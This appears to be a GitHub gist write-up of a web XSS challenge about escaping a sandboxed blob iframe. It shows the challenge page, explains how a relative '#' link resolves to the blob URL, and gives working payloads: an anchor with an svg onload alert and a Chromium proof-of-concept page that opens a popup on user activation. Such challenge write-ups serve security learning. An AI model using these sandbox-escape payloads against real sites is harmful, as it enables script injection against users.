Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 5, 2025 18:20
Show Gist options
  • Save Siss3l/186ef72e7b03cd3edaed65d960f6f358 to your computer and use it in GitHub Desktop.
Save Siss3l/186ef72e7b03cd3edaed65d960f6f358 to your computer and use it in GitHub Desktop.
XSS Web Challenge 2025 @RenwaX23

Renwa XSS Iframe Escape Web Challenge 2025

Description

Pop the alert().

Chall

Overview

We are dealing with a GitHub Pages site encoding Blob data (by the user) in a sandboxed iframe (without further indications):

<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width,initial-scale=1.0">
    <title>challenge</title>
    <style>
      body {
        display: flex; flex-direction: column; justify-content: center;
        align-items: center; height: 100vh;
        background-color: #f4f4f4; font-family: Arial, sans-serif;
      }
      @keyframes rainbow {
        0% { color: red; }
        16% { color: orange; }
        33% { color: yellow; }
        50% { color: green; }
        66% { color: blue; }
        83% { color: indigo; }
        100% { color: violet; }
      }
      marquee {
        font-size: 28px; font-weight: bold;
        animation: rainbow 3s infinite linear;
        margin-bottom: 20px;
      }
      iframe {
        width: 300px; height: 200px; border: 1px solid #ccc;
        box-shadow: 0px 4px 6px rgba(0, 0, 0, 0.1);
        border-radius: 8px; margin-bottom: 20px;
      }
      .solvers { margin-top: 20px; font-size: 18px; text-align: center; }
    </style>
  </head>
  <body>
    <marquee>Escape the sandbox</marquee>
    <script>
      function getQueryParam(name) {
        const params   = new URLSearchParams(window.location.search);
        return params.get(name);
      }
      const htmlContent  = getQueryParam("html");
      if (htmlContent) {
        const blob     = new Blob([htmlContent], { type: "text/html" });
        const blobUrl  = URL.createObjectURL(blob);
        const iframe   = document.createElement("iframe");
        iframe.src     = blobUrl;
        iframe.sandbox = "";
        document.body.appendChild(iframe);
      } else { document.body.innerHTML = "<p>No HTML content provided.</p>"; }
    </script>
    <!-- iframe src="blob:https://*.github.io/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" sandbox=""></iframe -->
    <div class="solvers"><h2>Solvers:</h2><ul><li></li></ul></div>
  </body>
</html>

Research

We can ask our favorite LLM to summarize the challenge:

  • HTML Structure
    • The page consists of a marquee element displaying the text Escape the sandbox;
    • An iframe is dynamically created and appended to the body if the html query parameter is provided;
    • Another iframe with a predefined src and sandbox attribute is statically included.
  • JavaScript
    • A function getQueryParam retrieves the html parameter from the URL;
    • If the html parameter is present, it creates a Blob (with a fixed type) with the provided HTML content;
    • An iframe is created with the src set to the Blob URL and a sandbox attribute;
    • The iframe is then appended to the body.

Within a non-exhaustive list of likely attack scenarios:

After spending hours (where others spent minutes) on these different plans, we inevitably realize that getting the Blob infos with user interaction is required for now.

Burnout

Solution

Having reread various articles (from the author), we could came across this article containing some interesting proof-of-concept.
After searching around, we should see that the character symbol # (encoded to %23) number-sign (also known as fragment identifier in this context) may retrieve the Blob URL.

Henceforth, a simple <a href="[character]">test</a> HTML anchor element in the sandboxed iframe will then look like this:

  • <a href="#"> => blob:https://*.github.io/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx#
  • <a href="?"> => https://*.github.io/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx?
  • <a href="."> => https://*.github.io/
  • <a href="@"> => https://*.github.io/@
  • <a href="&"> => https://*.github.io/& (encoded to %26)
  • <a href=""> => about:blank#blocked (will be empty)
  • <a href="/"> => https://*.github.io/
  • <a href="/%23"> => https://*.github.io/#
  • <a href="&nbsp;"> => https://*.github.io/%C2%A0

Since we are mostly free of our actions, on the Firefox browser, it will need the user to click on This Frame to execute the following <a/href=%23 target=_self>Click *Show Only This Frame* for free kitten</a><svg/onload=alert(origin)> XSS payload.

However, on Chromium browser, we could use a bit more realistic code:

<!DOCTYPE html>
<html>
  <body>
    <iframe id=iframe width=500px height=500px
      src="https://*.github.io/X/chal/feb25.html?html=<br><br><a/href=%23 draggable=true>Click here for free kitten</a><svg/onload=alert(origin)>"></iframe>
    <script>
      let opened = false; setInterval(() => { // Hosted with "python -m http.server" on "http://localhost:8000/poc.htm" url.
        if (window.chrome && navigator.userActivation.isActive && !opened) { // Without "Open link in new tab" interactions.
          // Clicking anywhere will also trigger "userActivation" (so we may need "addEventListener" method).
          iframe.hidden = opened = true; // Destroying the iframe will cause the Blob data to clear itself.
          window.open("","_blank",`width=5000,height=5000,top=1,left=1,fullscreen=yes,menubar=no,toolbar=no,location=no,personalbar=no,status=no`).focus(); // close()
        }
      }, 1000);
    </script>
  </body>
</html>

Troll

Addendum

Sometimes we may realize that there are unrealistic/illogical use cases in the cybersecurity field, but it is always rewarding in knowledge.

Bye

Comments are disabled for this gist.